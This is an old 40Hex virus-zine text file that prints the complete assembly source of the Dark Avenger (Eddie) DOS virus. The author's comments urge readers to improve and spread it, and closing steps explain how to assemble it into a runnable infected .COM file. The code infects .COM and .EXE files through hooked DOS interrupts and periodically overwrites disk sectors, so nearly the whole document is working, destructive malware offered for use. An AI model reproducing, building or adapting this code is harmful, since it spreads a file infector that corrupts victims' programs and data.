home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_3.002 < prev    next >
Text File  |  1995-01-03  |  29KB  |  1,033 lines

  1.  40Hex Issue 3                                                      0002
  2.  
  3.                             The Dark Avenger
  4.  
  5.     - We are demons to some, angels to others.
  6.  
  7.     Well, here it is.  Here is the first major virus source, from the
  8.     man who brought us such greats as V2000, Anthrax, and V2100 to name
  9.     a few.  Well this Bulgarian metal lover was nice enough to freely
  10.     distribute the source code to his first virus.
  11.  
  12. ------------------------------------------------------------------------------
  13.  
  14. ; "Blessed is he who expects nothing, for he shall not be disappointed."
  15.  
  16. ; The original source of one of the first Bulgarian viruses is in front of
  17. ; you.  As you may notice, it's full of rubbish and bugs, but nevertheless
  18. ; the virus has spread surprisingly quickly troughout the country and made a
  19. ; quick round the globe.  (It's well-known in Eastern and Western Europe, as
  20. ; well as in USA.) Due to the aniversary of its creation, the source is
  21. ; distributed freely.  You have the rights to distribute the source which can
  22. ; be charged or free of charge, with the only condition not to modify it.
  23. ; The one, who intentionaly distributes this source modified in any way will
  24. ; be punished!  Still, the author will be glad if any of you improves it and
  25. ; spreads the resulting executive file (i.e., the virus itself).  Pay
  26. ; attention to the fact that after you assemble the source, the resulting
  27. ; .COM-file cannot be run.  For that purpose you have to create a three-byte
  28. ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
  29. ; two files.  Don't try to place a JMP at the beginning of the source.
  30.  
  31. ; DISCLAIMER: The author does not take any responsability for any damage,
  32. ; either direct or implied, caused by the usage or not of this source or of
  33. ; the resulting code after assembly. No warrant is made about the product
  34. ; functionability or quality.
  35.  
  36. ; I cannot resist to express my special gratitude to my "populazer" Dipl.
  37. ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
  38. ; not, helps very much in the spreading of my viruses, in spite of the fact
  39. ; that he tries to do just the opposite (writing programs in C has never
  40. ; led to any good).
  41. ; Greetings to all virus writers!
  42.  
  43. code    segment
  44.         assume  cs:code,ds:code
  45. copyright:
  46.         db      'Eddie lives...somewhere in time!',0
  47. date_stamp:
  48.         dd      12239000h
  49. checksum:
  50.         db      30
  51.  
  52. ; Return the control to an .EXE file:
  53. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  54.  
  55.  
  56.  
  57.  
  58.  
  59. exit_exe:
  60.         mov     bx,es
  61.         add     bx,10h
  62.         add     bx,word ptr cs:[si+call_adr+2]
  63.         mov     word ptr cs:[si+patch+2],bx
  64.         mov     bx,word ptr cs:[si+call_adr]
  65.         mov     word ptr cs:[si+patch],bx
  66.         mov     bx,es
  67.         add     bx,10h
  68.         add     bx,word ptr cs:[si+stack_pointer+2]
  69.         mov     ss,bx
  70.         mov     sp,word ptr cs:[si+stack_pointer]
  71.         db      0eah                    ;JMP XXXX:YYYY
  72. patch:
  73.         dd      0
  74.  
  75. ; Returns control to a .COM file:
  76. ; Restores the first 3 bytes in the
  77. ; beginning of the file, loads SP and IP.
  78.  
  79. exit_com:
  80.  
  81.  
  82.  
  83.  
  84.         mov     di,100h
  85.         add     si,offset my_save
  86.         movsb
  87.         movsw
  88.         mov     sp,ds:[6]               ;This is incorrect
  89.         xor     bx,bx
  90.         push    bx
  91.         jmp     [si-11]                 ;si+call_adr-top_file
  92.  
  93. ; Program entry point
  94.  
  95. startup:
  96.         call    relative
  97. relative:
  98.         pop     si                      ;SI = $
  99.         sub     si,offset relative
  100.         cld
  101.         cmp     word ptr cs:[si+my_save],5a4dh
  102.         je      exe_ok
  103.         cli
  104.         mov     sp,si                   ;A separate stack is supported for
  105.         add     sp,offset top_file+100h ;the .COM files, in order not to
  106.         sti                             ;overlap the stack by the program
  107.         cmp     sp,ds:[6]
  108.         jnc     exit_com
  109. exe_ok:
  110.         push    ax
  111.         push    es
  112.         push    si
  113.         push    ds
  114.         mov     di,si
  115.  
  116. ; Looking for the address of INT 13h handler in ROM-BIOS
  117.  
  118.         xor     ax,ax
  119.         push    ax
  120.         mov     ds,ax
  121.         les     ax,ds:[13h*4]
  122.         mov     word ptr cs:[si+fdisk],ax
  123.         mov     word ptr cs:[si+fdisk+2],es
  124.         mov     word ptr cs:[si+disk],ax
  125.         mov     word ptr cs:[si+disk+2],es
  126.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT 40h
  127.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  128.         jne     nofdisk                 ;available
  129.         mov     word ptr cs:[si+disk+2],ax
  130.         mov     ax,ds:[40h*4]
  131.         mov     word ptr cs:[si+disk],ax
  132.         mov     dl,80h
  133.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
  134.         cmp     ax,0f000h               ;where the original INT 13h vector is
  135.         je      isfdisk
  136.         cmp     ah,0c8h
  137.         jc      nofdisk
  138.         cmp     ah,0f4h
  139.         jnc     nofdisk
  140.         test    al,7fh
  141.         jnz     nofdisk
  142.         mov     ds,ax
  143.         cmp     ds:[0],0aa55h
  144.         jne     nofdisk
  145.         mov     dl,ds:[2]
  146. isfdisk:
  147.         mov     ds,ax
  148.         xor     dh,dh
  149.         mov     cl,9
  150.         shl     dx,cl
  151.         mov     cx,dx
  152.         xor     si,si
  153. findvect:
  154.         lodsw                           ;Occasionally begins with:
  155.         cmp     ax,0fa80h               ;       CMP     DL,80h
  156.         jne     altchk                  ;       JNC     somewhere
  157.         lodsw
  158.         cmp     ax,7380h
  159.         je      intchk
  160.         jne     nxt0
  161. altchk:
  162.         cmp     ax,0c2f6h               ;or with:
  163.         jne     nxt                     ;       TEST    DL,80h
  164.         lodsw                           ;       JNZ     somewhere
  165.         cmp     ax,7580h
  166.         jne     nxt0
  167. intchk:
  168.         inc     si                      ;then there is:
  169.         lodsw                           ;       INT     40h
  170.         cmp     ax,40cdh
  171.         je      found
  172.         sub     si,3
  173. nxt0:
  174.         dec     si
  175.         dec     si
  176. nxt:
  177.         dec     si
  178.         loop    findvect
  179.         jmp     short nofdisk
  180. found:
  181.         sub     si,7
  182.         mov     word ptr cs:[di+fdisk],si
  183.         mov     word ptr cs:[di+fdisk+2],ds
  184. nofdisk:
  185.         mov     si,di
  186.         pop     ds
  187.  
  188. ; Check whether the program is present in memory:
  189.  
  190.         les     ax,ds:[21h*4]
  191.         mov     word ptr cs:[si+save_int_21],ax
  192.         mov     word ptr cs:[si+save_int_21+2],es
  193.         push    cs
  194.         pop     ds
  195.         cmp     ax,offset int_21
  196.         jne     bad_func
  197.         xor     di,di
  198.         mov     cx,offset my_size
  199. scan_func:
  200.         lodsb
  201.         scasb
  202.         jne     bad_func
  203.         loop    scan_func
  204.         pop     es
  205.         jmp     go_program
  206.  
  207. ; Move the program to the top of memory:
  208. ; (it's full of rubbish and bugs here)
  209.  
  210. bad_func:
  211.         pop     es
  212.         mov     ah,49h
  213.         int     21h
  214.         mov     bx,0ffffh
  215.         mov     ah,48h
  216.         int     21h
  217.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  218.         jc      go_program
  219.         mov     cx,es
  220.         stc
  221.         adc     cx,bx
  222.         mov     ah,4ah
  223.         int     21h
  224.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  225.         stc
  226.         sbb     es:[2],bx
  227.         push    es
  228.         mov     es,cx
  229.         mov     ah,4ah
  230.         int     21h
  231.         mov     ax,es
  232.         dec     ax
  233.         mov     ds,ax
  234.         mov     word ptr ds:[1],8
  235.         call    mul_16
  236.         mov     bx,ax
  237.         mov     cx,dx
  238.         pop     ds
  239.         mov     ax,ds
  240.         call    mul_16
  241.         add     ax,ds:[6]
  242.         adc     dx,0
  243.         sub     ax,bx
  244.         sbb     dx,cx
  245.         jc      mem_ok
  246.         sub     ds:[6],ax               ;Reduction of the segment size
  247. mem_ok:
  248.         pop     si
  249.         push    si
  250.         push    ds
  251.         push    cs
  252.         xor     di,di
  253.         mov     ds,di
  254.         lds     ax,ds:[27h*4]
  255.         mov     word ptr cs:[si+save_int_27],ax
  256.         mov     word ptr cs:[si+save_int_27+2],ds
  257.         pop     ds
  258.         mov     cx,offset aux_size
  259.         rep     movsb
  260.         xor     ax,ax
  261.         mov     ds,ax
  262.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  263.         mov     ds:[21h*4+2],es
  264.         mov     ds:[27h*4],offset int_27
  265.         mov     ds:[27h*4+2],es
  266.         mov     word ptr es:[filehndl],ax
  267.         pop     es
  268. go_program:
  269.         pop     si
  270.  
  271. ; Smash the next disk sector:
  272.  
  273.         xor     ax,ax
  274.         mov     ds,ax
  275.         mov     ax,ds:[13h*4]
  276.         mov     word ptr cs:[si+save_int_13],ax
  277.         mov     ax,ds:[13h*4+2]
  278.         mov     word ptr cs:[si+save_int_13+2],ax
  279.         mov     ds:[13h*4],offset int_13
  280.         add     ds:[13h*4],si
  281.         mov     ds:[13h*4+2],cs
  282.         pop     ds
  283.         push    ds
  284.         push    si
  285.         mov     bx,si
  286.         lds     ax,ds:[2ah]
  287.         xor     si,si
  288.         mov     dx,si
  289. scan_envir:                             ;Fetch program's name
  290.         lodsw                           ;(with DOS 2.x it doesn't work anyway)
  291.         dec     si
  292.         test    ax,ax
  293.         jnz     scan_envir
  294.         add     si,3
  295.         lodsb
  296.  
  297. ; The following instruction is a complete nonsense.  Try to enter a drive &
  298. ; directory path in lowercase, then run an infected program from there.
  299. ; As a result of an error here + an error in DOS the next sector is not
  300. ; smashed. Two memory bytes are smashed instead, most probably onto the
  301. ; infected program.
  302.  
  303.         sub     al,'A'
  304.         mov     cx,1
  305.         push    cs
  306.         pop     ds
  307.         add     bx,offset int_27
  308.         push    ax
  309.         push    bx
  310.         push    cx
  311.         int     25h
  312.         pop     ax
  313.         pop     cx
  314.         pop     bx
  315.         inc     byte ptr [bx+0ah]
  316.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  317.         jnz     store_sec               ;nothing is not enough for some.
  318.         mov     al,[bx+10h]
  319.         xor     ah,ah
  320.         mul     word ptr [bx+16h]
  321.         add     ax,[bx+0eh]
  322.         push    ax
  323.         mov     ax,[bx+11h]
  324.         mov     dx,32
  325.         mul     dx
  326.         div     word ptr [bx+0bh]
  327.         pop     dx
  328.         add     dx,ax
  329.         mov     ax,[bx+8]
  330.         add     ax,40h
  331.         cmp     ax,[bx+13h]
  332.         jc      store_new
  333.         inc     ax
  334.         and     ax,3fh
  335.         add     ax,dx
  336.         cmp     ax,[bx+13h]
  337.         jnc     small_disk
  338. store_new:
  339.         mov     [bx+8],ax
  340. store_sec:
  341.         pop     ax
  342.         xor     dx,dx
  343.         push    ax
  344.         push    bx
  345.         push    cx
  346.         int     26h
  347.  
  348.  
  349. ; The writing trough this interrupt is not the smartest thing, bacause it
  350. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  351.  
  352.         pop     ax
  353.         pop     cx
  354.         pop     bx
  355.         pop     ax
  356.         cmp     byte ptr [bx+0ah],0
  357.         jne     not_now
  358.         mov     dx,[bx+8]
  359.         pop     bx
  360.         push    bx
  361.         int     26h
  362. small_disk:
  363.         pop     ax
  364. not_now:
  365.         pop     si
  366.         xor     ax,ax
  367.         mov     ds,ax
  368.         mov     ax,word ptr cs:[si+save_int_13]
  369.         mov     ds:[13h*4],ax
  370.         mov     ax,word ptr cs:[si+save_int_13+2]
  371.         mov     ds:[13h*4+2],ax
  372.         pop     ds
  373.         pop     ax
  374.         cmp     word ptr cs:[si+my_save],5a4dh
  375.         jne     go_exit_com
  376.         jmp     exit_exe
  377. go_exit_com:
  378.         jmp     exit_com
  379. int_24:
  380.         mov     al,3                    ;This instruction seems unnecessary
  381.         iret
  382.  
  383. ; INT 27h handler (this is necessary)
  384.  
  385. int_27:
  386.         pushf
  387.         call    alloc
  388.         popf
  389.         jmp     dword ptr cs:[save_int_27]
  390.  
  391. ; During the DOS functions Set & Get Vector it seems that the virus has not
  392. ; intercepted them (this is a doubtfull advantage and it is a possible
  393. ; source of errors with some "intelligent" programs)
  394.  
  395. set_int_27:
  396.         mov     word ptr cs:[save_int_27],dx
  397.         mov     word ptr cs:[save_int_27+2],ds
  398.         popf
  399.         iret
  400. set_int_21:
  401.         mov     word ptr cs:[save_int_21],dx
  402.         mov     word ptr cs:[save_int_21+2],ds
  403.         popf
  404.         iret
  405. get_int_27:
  406.         les     bx,dword ptr cs:[save_int_27]
  407.         popf
  408.         iret
  409. get_int_21:
  410.         les     bx,dword ptr cs:[save_int_21]
  411.         popf
  412.         iret
  413.  
  414. exec:
  415.  
  416.  
  417.         call    do_file
  418.         call    alloc
  419.         popf
  420.         jmp     dword ptr cs:[save_int_21]
  421.  
  422.         db      'Diana P.',0
  423.  
  424. ; INT 21h handler.  Infects files during execution, copying, browsing or
  425. ; creating and some other operations. The execution of functions 0 and 26h
  426. ; has bad consequences.
  427.  
  428. int_21:
  429.         push    bp
  430.         mov     bp,sp
  431.         push    [bp+6]
  432.         popf
  433.         pop     bp
  434.         pushf
  435.         call    ontop
  436.         cmp     ax,2521h
  437.         je      set_int_21
  438.         cmp     ax,2527h
  439.         je      set_int_27
  440.         cmp     ax,3521h
  441.         je      get_int_21
  442.         cmp     ax,3527h
  443.         je      get_int_27
  444.         cld
  445.         cmp     ax,4b00h
  446.         je      exec
  447.         cmp     ah,3ch
  448.         je      create
  449.         cmp     ah,3eh
  450.         je      close
  451.         cmp     ah,5bh
  452.         jne     not_create
  453. create:
  454.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  455.         jne     dont_touch
  456.         call    see_name
  457.         jnz     dont_touch
  458.         call    alloc
  459.         popf
  460.         call    function
  461.         jc      int_exit
  462.         pushf
  463.         push    es
  464.         push    cs
  465.         pop     es
  466.         push    si
  467.         push    di
  468.         push    cx
  469.         push    ax
  470.         mov     di,offset filehndl
  471.         stosw
  472.         mov     si,dx
  473.         mov     cx,65
  474. move_name:
  475.         lodsb
  476.         stosb
  477.         test    al,al
  478.         jz      all_ok
  479.         loop    move_name
  480.         mov     word ptr es:[filehndl],cx
  481. all_ok:
  482.         pop     ax
  483.         pop     cx
  484.         pop     di
  485.         pop     si
  486.         pop     es
  487. go_exit:
  488.         popf
  489.         jnc     int_exit                ;JMP
  490. close:
  491.         cmp     bx,word ptr cs:[filehndl]
  492.         jne     dont_touch
  493.         test    bx,bx
  494.         jz      dont_touch
  495.         call    alloc
  496.         popf
  497.         call    function
  498.         jc      int_exit
  499.         pushf
  500.         push    ds
  501.         push    cs
  502.         pop     ds
  503.         push    dx
  504.         mov     dx,offset filehndl+2
  505.         call    do_file
  506.         mov     word ptr cs:[filehndl],0
  507.         pop     dx
  508.         pop     ds
  509.         jmp     go_exit
  510. not_create:
  511.         cmp     ah,3dh
  512.         je      touch
  513.         cmp     ah,43h
  514.         je      touch
  515.         cmp     ah,56h                  ;Unfortunately, the command inter-
  516.         jne     dont_touch              ;preter does not use this function
  517. touch:
  518.         call    see_name
  519.         jnz     dont_touch
  520.         call    do_file
  521. dont_touch:
  522.         call    alloc
  523.         popf
  524.         call    function
  525. int_exit:
  526.         pushf
  527.         push    ds
  528.         call    get_chain
  529.         mov     byte ptr ds:[0],'Z'
  530.         pop     ds
  531.         popf
  532. dummy   proc    far                     ;???
  533.         ret     2
  534. dummy   endp
  535.  
  536. ; Checks whether the file is .COM or .EXE.
  537. ; It is not called upon file execution.
  538.  
  539. see_name:
  540.         push    ax
  541.         push    si
  542.         mov     si,dx
  543. scan_name:
  544.         lodsb
  545.         test    al,al
  546.         jz      bad_name
  547.         cmp     al,'.'
  548.         jnz     scan_name
  549.         call    get_byte
  550.         mov     ah,al
  551.         call    get_byte
  552.         cmp     ax,'co'
  553.         jz      pos_com
  554.         cmp     ax,'ex'
  555.         jnz     good_name
  556.         call    get_byte
  557.         cmp     al,'e'
  558.         jmp     short good_name
  559. pos_com:
  560.         call    get_byte
  561.         cmp     al,'m'
  562.         jmp     short good_name
  563. bad_name:
  564.         inc     al
  565. good_name:
  566.         pop     si
  567.         pop     ax
  568.         ret
  569.  
  570. ; Converts into lowercase (the subroutines are a great thing).
  571.  
  572. get_byte:
  573.         lodsb
  574.         cmp     al,'C'
  575.         jc      byte_got
  576.         cmp     al,'Y'
  577.         jnc     byte_got
  578.         add     al,20h
  579. byte_got:
  580.         ret
  581.  
  582. ; Calls the original INT 21h.
  583.  
  584. function:
  585.         pushf
  586.         call    dword ptr cs:[save_int_21]
  587.         ret
  588.  
  589. ; Arrange to infect an executable file.
  590.  
  591. do_file:
  592.         push    ds                      ;Save the registers in stack
  593.         push    es
  594.         push    si
  595.         push    di
  596.         push    ax
  597.         push    bx
  598.         push    cx
  599.         push    dx
  600.         mov     si,ds
  601.         xor     ax,ax
  602.         mov     ds,ax
  603.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
  604.         push    es                      ;and changes them with what is needed
  605.         push    ax
  606.         mov     ds:[24h*4],offset int_24
  607.         mov     ds:[24h*4+2],cs
  608.         les     ax,ds:[13h*4]
  609.         mov     word ptr cs:[save_int_13],ax
  610.         mov     word ptr cs:[save_int_13+2],es
  611.         mov     ds:[13h*4],offset int_13
  612.         mov     ds:[13h*4+2],cs
  613.         push    es
  614.         push    ax
  615.         mov     ds,si
  616.         xor     cx,cx                   ;Arranges to infect Read-only files
  617.         mov     ax,4300h
  618.         call    function
  619.         mov     bx,cx
  620.         and     cl,0feh
  621.         cmp     cl,bl
  622.         je      dont_change
  623.         mov     ax,4301h
  624.         call    function
  625.         stc
  626. dont_change:
  627.         pushf
  628.         push    ds
  629.         push    dx
  630.         push    bx
  631.         mov     ax,3d02h                ;Now we can safely open the file
  632.         call    function
  633.         jc      cant_open
  634.         mov     bx,ax
  635.         call    disease
  636.         mov     ah,3eh                  ;Close it
  637.  
  638.         call    function
  639. cant_open:
  640.         pop     cx
  641.         pop     dx
  642.         pop     ds
  643.         popf
  644.         jnc     no_update
  645.         mov     ax,4301h                ;Restores file's attributes
  646.         call    function                ;if they were changed (just in case)
  647. no_update:
  648.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  649.         mov     ds,ax
  650.         pop     ds:[13h*4]
  651.         pop     ds:[13h*4+2]
  652.         pop     ds:[24h*4]
  653.         pop     ds:[24h*4+2]
  654.         pop     dx                      ;Register restoration
  655.         pop     cx
  656.         pop     bx
  657.         pop     ax
  658.         pop     di
  659.         pop     si
  660.         pop     es
  661.         pop     ds
  662.         ret
  663.  
  664. ; This routine is the working horse.
  665.  
  666. disease:
  667.         push    cs
  668.         pop     ds
  669.         push    cs
  670.         pop     es
  671.         mov     dx,offset top_save      ;Read the file beginning
  672.         mov     cx,18h
  673.         mov     ah,3fh
  674.         int     21h
  675.         xor     cx,cx
  676.         xor     dx,dx
  677.         mov     ax,4202h                ;Save file length
  678.         int     21h
  679.         mov     word ptr [top_save+1ah],dx
  680.         cmp     ax,offset my_size       ;This should be top_file
  681.         sbb     dx,0
  682.         jc      stop_fuck_2             ;Small files are not infected
  683.         mov     word ptr [top_save+18h],ax
  684.         cmp     word ptr [top_save],5a4dh
  685.         jne     com_file
  686.         mov     ax,word ptr [top_save+8]
  687.         add     ax,word ptr [top_save+16h]
  688.         call    mul_16
  689.         add     ax,word ptr [top_save+14h]
  690.         adc     dx,0
  691.         mov     cx,dx
  692.         mov     dx,ax
  693.         jmp     short see_sick
  694. com_file:
  695.         cmp     byte ptr [top_save],0e9h
  696.         jne     see_fuck
  697.         mov     dx,word ptr [top_save+1]
  698.         add     dx,103h
  699.         jc      see_fuck
  700.         dec     dh
  701.         xor     cx,cx
  702.  
  703. ; Check if the file is properly infected
  704.  
  705.  
  706. see_sick:
  707.         sub     dx,startup-copyright
  708.         sbb     cx,0
  709.         mov     ax,4200h
  710.         int     21h
  711.         add     ax,offset top_file
  712.         adc     dx,0
  713.         cmp     ax,word ptr [top_save+18h]
  714.         jne     see_fuck
  715.         cmp     dx,word ptr [top_save+1ah]
  716.         jne     see_fuck
  717.         mov     dx,offset top_save+1ch
  718.         mov     si,dx
  719.         mov     cx,offset my_size
  720.         mov     ah,3fh
  721.         int     21h
  722.         jc      see_fuck
  723.         cmp     cx,ax
  724.         jne     see_fuck
  725.         xor     di,di
  726. next_byte:
  727.  
  728.         lodsb
  729.         scasb
  730.         jne     see_fuck
  731.         loop    next_byte
  732. stop_fuck_2:
  733.         ret
  734. see_fuck:
  735.         xor     cx,cx                   ;Seek to the end of file
  736.         xor     dx,dx
  737.         mov     ax,4202h
  738.         int     21h
  739.         cmp     word ptr [top_save],5a4dh
  740.         je      fuck_exe
  741.         add     ax,offset aux_size+200h ;Watch out for too big .COM files
  742.         adc     dx,0
  743.         je      fuck_it
  744.         ret
  745.  
  746. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  747.  
  748. fuck_exe:
  749.         mov     dx,word ptr [top_save+18h]
  750.         neg     dl
  751.         and     dx,0fh
  752.         xor     cx,cx
  753.         mov     ax,4201h
  754.         int     21h
  755.         mov     word ptr [top_save+18h],ax
  756.         mov     word ptr [top_save+1ah],dx
  757. fuck_it:
  758.         mov     ax,5700h                ;Get file's date
  759.         int     21h
  760.         pushf
  761.         push    cx
  762.         push    dx
  763.         cmp     word ptr [top_save],5a4dh
  764.         je      exe_file                ;Very clever, isn't it?
  765.         mov     ax,100h
  766.         jmp     short set_adr
  767. exe_file:
  768.         mov     ax,word ptr [top_save+14h]
  769.         mov     dx,word ptr [top_save+16h]
  770. set_adr:
  771.         mov     di,offset call_adr
  772.         stosw
  773.         mov     ax,dx
  774.         stosw
  775.         mov     ax,word ptr [top_save+10h]
  776.         stosw
  777.         mov     ax,word ptr [top_save+0eh]
  778.         stosw
  779.         mov     si,offset top_save      ;This offers the possibilities to
  780.         movsb                           ;some nasty programs to restore
  781.         movsw                           ;exactly the original length
  782.         xor     dx,dx                   ;of the .EXE files
  783.         mov     cx,offset top_file
  784.         mov     ah,40h
  785.         int     21h                     ;Write the virus
  786.         jc      go_no_fuck              ;(don't trace here)
  787.         xor     cx,ax
  788.         jnz     go_no_fuck
  789.         mov     dx,cx
  790.         mov     ax,4200h
  791.         int     21h
  792.         cmp     word ptr [top_save],5a4dh
  793.         je      do_exe
  794.         mov     byte ptr [top_save],0e9h
  795.         mov     ax,word ptr [top_save+18h]
  796.         add     ax,startup-copyright-3
  797.         mov     word ptr [top_save+1],ax
  798.         mov     cx,3
  799.         jmp     short write_header
  800. go_no_fuck:
  801.         jmp     short no_fuck
  802.  
  803. ; Construct the .EXE file's header
  804.  
  805. do_exe:
  806.         call    mul_hdr
  807.         not     ax
  808.         not     dx
  809.         inc     ax
  810.         jne     calc_offs
  811.         inc     dx
  812. calc_offs:
  813.         add     ax,word ptr [top_save+18h]
  814.         adc     dx,word ptr [top_save+1ah]
  815.         mov     cx,10h
  816.         div     cx
  817.         mov     word ptr [top_save+14h],startup-copyright
  818.         mov     word ptr [top_save+16h],ax
  819.         add     ax,(offset top_file-offset copyright-1)/16+1
  820.         mov     word ptr [top_save+0eh],ax
  821.         mov     word ptr [top_save+10h],100h
  822.         add     word ptr [top_save+18h],offset top_file
  823.         adc     word ptr [top_save+1ah],0
  824.         mov     ax,word ptr [top_save+18h]
  825.         and     ax,1ffh
  826.         mov     word ptr [top_save+2],ax
  827.         pushf
  828.         mov     ax,word ptr [top_save+19h]
  829.         shr     byte ptr [top_save+1bh],1
  830.         rcr     ax,1
  831.         popf
  832.         jz      update_len
  833.         inc     ax
  834. update_len:
  835.         mov     word ptr [top_save+4],ax
  836.         mov     cx,18h
  837. write_header:
  838.         mov     dx,offset top_save
  839.         mov     ah,40h
  840.         int     21h                     ;Write the file beginning
  841. no_fuck:
  842.         pop     dx
  843.         pop     cx
  844.         popf
  845.         jc      stop_fuck
  846.         mov     ax,5701h                ;Restore the original file date
  847.         int     21h
  848. stop_fuck:
  849.         ret
  850.  
  851. ; The following is used by the INT 21h and INT 27h handlers in connection
  852. ; to the program hiding in memory from those who don't need to see it.
  853. ; The whole system is absurde and meaningless and it is also another source
  854. ; for program conflicts.
  855.  
  856. alloc:
  857.         push    ds
  858.         call    get_chain
  859.         mov     byte ptr ds:[0],'M'
  860.         pop     ds
  861.  
  862. ; Assures that the program is the first one in the processes,
  863. ; which have intercepted INT 21h (yet another source of conflicts).
  864.  
  865. ontop:
  866.         push    ds
  867.         push    ax
  868.         push    bx
  869.         push    dx
  870.         xor     bx,bx
  871.         mov     ds,bx
  872.         lds     dx,ds:[21h*4]
  873.         cmp     dx,offset int_21
  874.         jne     search_segment
  875.         mov     ax,ds
  876.         mov     bx,cs
  877.         cmp     ax,bx
  878.         je      test_complete
  879.  
  880. ; Searches the segment of the sucker who has intercepted INT 21h, in
  881. ; order to find where it has stored the old values and to replace them.
  882. ; Nothing is done for INT 27h.
  883.  
  884.         xor     bx,bx
  885. search_segment:
  886.         mov     ax,[bx]
  887.         cmp     ax,offset int_21
  888.         jne     search_next
  889.         mov     ax,cs
  890.         cmp     ax,[bx+2]
  891.         je      got_him
  892. search_next:
  893.         inc     bx
  894.         jne     search_segment
  895.         je      return_control
  896. got_him:
  897.         mov     ax,word ptr cs:[save_int_21]
  898.         mov     [bx],ax
  899.         mov     ax,word ptr cs:[save_int_21+2]
  900.         mov     [bx+2],ax
  901.         mov     word ptr cs:[save_int_21],dx
  902.         mov     word ptr cs:[save_int_21+2],ds
  903.         xor     bx,bx
  904.  
  905. ; Even if he has not saved them in the same segment, this won't help him.
  906.  
  907. return_control:
  908.         mov     ds,bx
  909.         mov     ds:[21h*4],offset int_21
  910.         mov     ds:[21h*4+2],cs
  911. test_complete:
  912.         pop     dx
  913.         pop     bx
  914.         pop     ax
  915.         pop     ds
  916.         ret
  917.  
  918. ; Fetch the segment of the last MCB
  919.  
  920. get_chain:
  921.         push    ax
  922.         push    bx
  923.         mov     ah,62h
  924.         call    function
  925.         mov     ax,cs
  926.         dec     ax
  927.         dec     bx
  928. next_blk:
  929.         mov     ds,bx
  930.         stc
  931.         adc     bx,ds:[3]
  932.         cmp     bx,ax
  933.         jc      next_blk
  934.         pop     bx
  935.         pop     ax
  936.         ret
  937.  
  938. ; Multiply by 16
  939.  
  940. mul_hdr:
  941.         mov     ax,word ptr [top_save+8]
  942. mul_16:
  943.         mov     dx,10h
  944.         mul     dx
  945.         ret
  946.  
  947.         db      'This program was written in the city of Sofia '
  948.         db      '(C) 1988-89 Dark Avenger',0
  949.  
  950. ; INT 13h handler.
  951. ; Calls the original vectors in BIOS, if it's a writing call
  952.  
  953. int_13:
  954.         cmp     ah,3
  955.         jnz     subfn_ok
  956.         cmp     dl,80h
  957.         jnc     hdisk
  958.         db      0eah                    ;JMP XXXX:YYYY
  959. my_size:                                ;--- Up to here comparison
  960. disk:                                   ; with the original is made
  961.         dd      0
  962. hdisk:
  963.         db      0eah                    ;JMP XXXX:YYYY
  964. fdisk:
  965.         dd      0
  966. subfn_ok:
  967.         db      0eah                    ;JMP XXXX:YYYY
  968. save_int_13:
  969.         dd      0
  970. call_adr:
  971.         dd      100h
  972.  
  973. stack_pointer:
  974.         dd      0                       ;The original value of SS:SP
  975. my_save:
  976.         int     20h                     ;The original contents of the first
  977.         nop                             ;3 bytes of the file
  978. top_file:                               ;--- Up to here the code is written
  979. filehndl    equ $                       ; in the files
  980. filename    equ filehndl+2              ;Buffer for the name of the opened file
  981. save_int_27 equ filename+65             ;Original INT 27h vector
  982. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  983. aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
  984. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  985.                                         ;contains
  986.                                         ; - The first 24 bytes read from file
  987.                                         ; - File length (4 bytes)
  988.                                         ; - The last bytes of the file
  989.                                         ;   (my_size bytes)
  990. top_bz      equ top_save-copyright
  991. my_bz       equ my_size-copyright
  992.  
  993. code    ends
  994.         end
  995.  
  996. ------------------------------------------------------------------------------
  997.  
  998.      A few notes on assembling this virus.
  999.  
  1000.      It's a little bit tricky assembling the Dark Avenger Virus.  Use
  1001.      these steps below.  I use Turbo Assembler 2.0, but I'm positve that
  1002.      MASM will work just as well.
  1003.  
  1004.      1:
  1005.          TASM AVENGER.ASM
  1006.  
  1007.      2:
  1008.          TLINK AVENGER.OBJ
  1009.  
  1010.      3:
  1011.          EXE2BIN AVENGER AVENGER.COM
  1012.  
  1013.      Now make a 3 byte file named JUMP.TMP using DEBUG like this
  1014.  
  1015.      4:  DEBUG
  1016.  
  1017.          n jmp.tmp
  1018.          e 0100  E9 68 00
  1019.  
  1020.          rcx
  1021.          3
  1022.          w
  1023.          q
  1024.  
  1025.       5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
  1026.  
  1027.          There you have it....
  1028.  
  1029.                                                                      HR
  1030.  
  1031.  
  1032. Downloaded From P-80 International Information Systems 304-744-2253
  1033.